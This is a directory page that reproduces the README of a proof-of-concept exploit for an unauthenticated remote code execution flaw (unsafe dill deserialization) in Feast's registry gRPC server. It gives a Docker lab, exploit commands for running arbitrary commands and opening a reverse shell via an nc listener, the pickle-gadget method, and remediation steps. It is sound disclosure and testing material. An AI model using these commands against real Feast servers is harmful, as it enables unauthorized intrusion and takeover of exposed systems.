Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EXPLOIT-CVE-2026-56121 — Proof-of-concept exploit for CVE-2026-56121, an unauthenticated RCE in Feast's registry gRPC server via unsafe dill deserialization. Includes a Dockerized vulnerable lab for testing and validation. | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-56121
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjoaovicdev/exploit-cve-2026-56121

EXPLOIT-CVE-2026-56121

Proof-of-concept exploit for CVE-2026-56121, an unauthenticated RCE in Feast's registry gRPC server via unsafe dill deserialization. Includes a Dockerized vulnerable lab for testing and validation.

View Repository
10h 57m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-56121 — Feast Unauthenticated RCE (ApplyFeatureView gRPC Deserialization)

Unauthenticated remote code execution in Feast (< 0.63.0) via unsafe dill.loads deserialization in the registry gRPC server. This repository contains a self-contained proof-of-concept exploit and a Dockerized vulnerable lab to validate it.

CVECVE-2026-56121
ProductFeast (feature store) — registry gRPC server
Affectedfeast < 0.63.0
Fixed in0.63.0 (commit 835cda8)
ClassCWE-502 — Deserialization of Untrusted Data
ImpactUnauthenticated RCE (default config is auth: no_auth)
Default port6570/tcp (gRPC registry server)

⚠️ For authorized security testing and education only. Only run this against the bundled Docker lab or systems you own / are explicitly permitted to test. Unauthorized use against third-party systems is illegal.

The vulnerability in one paragraph

The Feast registry gRPC handler RegistryServer.ApplyFeatureView deserializes the incoming feature-view spec by calling OnDemandFeatureView.from_proto(...) before it runs any authorization check. For a pandas-mode On-Demand Feature View with a non-empty UDF body, that path reaches PandasTransformation.from_proto, which runs dill.loads(user_defined_function.body) on attacker-controlled bytes. Because dill executes pickle opcodes, an object with a crafted __reduce__ runs arbitrary Python in the server process. The shipped configuration is auth: no_auth and the gRPC server has no authentication interceptor, so anyone who can reach port 6570 gets code execution.

See ANALYSIS.md for the full code-path walkthrough and the patch diff.

Repository layout

root@kitploit:~
.
├── exploit/
│   ├── exploit.py        # full PoC client: --check / --cmd / --reverse-shell
│   ├── poc.py            # minimal single-file PoC, same primitive in ~90 lines
│   ├── build_protos.sh   # (re)generate the protobuf stubs from [email protected]
│   └── protos/           # committed generated *_pb2 stubs (run PoC without protoc)
├── lab/
│   ├── Dockerfile        # feast==0.62.0 by default; FEAST_VERSION selects the release
│   ├── docker-compose.yml
│   ├── entrypoint.sh     # feast serve_registry --port 6570
│   └── feature_repo/     # minimal Feast project (auth: no_auth)
├── requirements.txt      # exploit deps: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE

Quick start

1. Start the vulnerable lab

root@kitploit:~
cd lab
docker compose up --build -d
# registry gRPC server now listening on localhost:6570
docker compose logs -f          # wait for "Grpc server started"

2. Install exploit dependencies

root@kitploit:~
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt

3. Run the exploit

Safe check (non-destructive) — proves the server deserializes attacker data by writing a marker file in /tmp and returning host info, without running a shell command:

root@kitploit:~
python exploit/exploit.py --target 127.0.0.1:6570 --check

Run a command and see its output (default mode):

root@kitploit:~
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"

Interactive reverse shell — start your listener first, then deliver the payload:

root@kitploit:~
# terminal A
nc -lvnp 4444
# terminal B  (use an address the container can reach back to)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444

The --cmd and --check modes spin up a short-lived TCP listener in the exploit itself and print whatever the target sends back — no external tooling required in the target image.

A stripped-down equivalent is in exploit/poc.py, if you want the whole primitive in one readable file:

root@kitploit:~
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"

Callback note. --check, --cmd and poc.py rely on the target connecting back to a listener on your machine. Running from the host works out of the box. If you run the exploit from inside a container, put it on the lab's network (docker run --network lab_default ...), otherwise the payload executes but the reply never arrives and the tool reports "no callback".

Regenerating the protobuf stubs (optional)

The stubs in exploit/protos/ are committed, so you do not need protoc. If you do regenerate them, use the script — it pins grpcio-tools on purpose:

root@kitploit:~
./exploit/build_protos.sh            # runs in a pinned python:3.11 container

protoc stamps a gencode version into every _pb2.py, and protobuf refuses to load a stub whose gencode is newer than the installed runtime. The pin keeps the stubs loading on protobuf >= 5.29, < 8 (verified against 5.29.6, 6.33.6 and 7.36.0).

4. Confirm the patch fixes it

Rebuild the lab against the fixed release and re-run the exploit:

root@kitploit:~
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check

Expected on 0.63.0: [-] No callback received. and no marker file on the target — the handler passes skip_udf=True, so the UDF body is never deserialized before the auth check. Switch back to the vulnerable lab with docker compose down && docker compose up --build -d.

5. Tear down

root@kitploit:~
cd lab && docker compose down -v

How the exploit works

  1. Build an ApplyFeatureViewRequest whose on_demand_feature_view spec has mode = "pandas" and a feature_transformation.user_defined_function (UserDefinedFunctionV2) with:
    • body_text = non-empty (required to reach the pandas deserialization branch),
    • body = a pickle of an object whose __reduce__ calls exec(<python>).
  2. Send the single unauthenticated gRPC call to feast.registry.RegistryServer/ApplyFeatureView.
  3. The server runs dill.loads(body) during from_proto — before the auth check — executing the payload. The RPC itself may then error out; the code has already run.

The exploit crafts the gadget with the stdlib pickle module (the server's dill.loads happily decodes plain pickle opcodes), so the attacker side only needs grpcio + protobuf.

Remediation

  • Upgrade to Feast >= 0.63.0. The fix threads a skip_udf=True flag through *.from_proto, so the registry server validates permissions on spec metadata without deserializing the UDF body.
  • Do not expose the registry gRPC port (6570) to untrusted networks.
  • Enable authentication (auth: kubernetes / auth: oidc) instead of the default no_auth.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56121
  • Fix commit: https://github.com/feast-dev/feast/commit/835cda8e2c1359f1f496ad72701dbd6a73bdb25a
  • Feast v0.63.0 release: https://github.com/feast-dev/feast/releases/tag/v0.63.0
Download Tool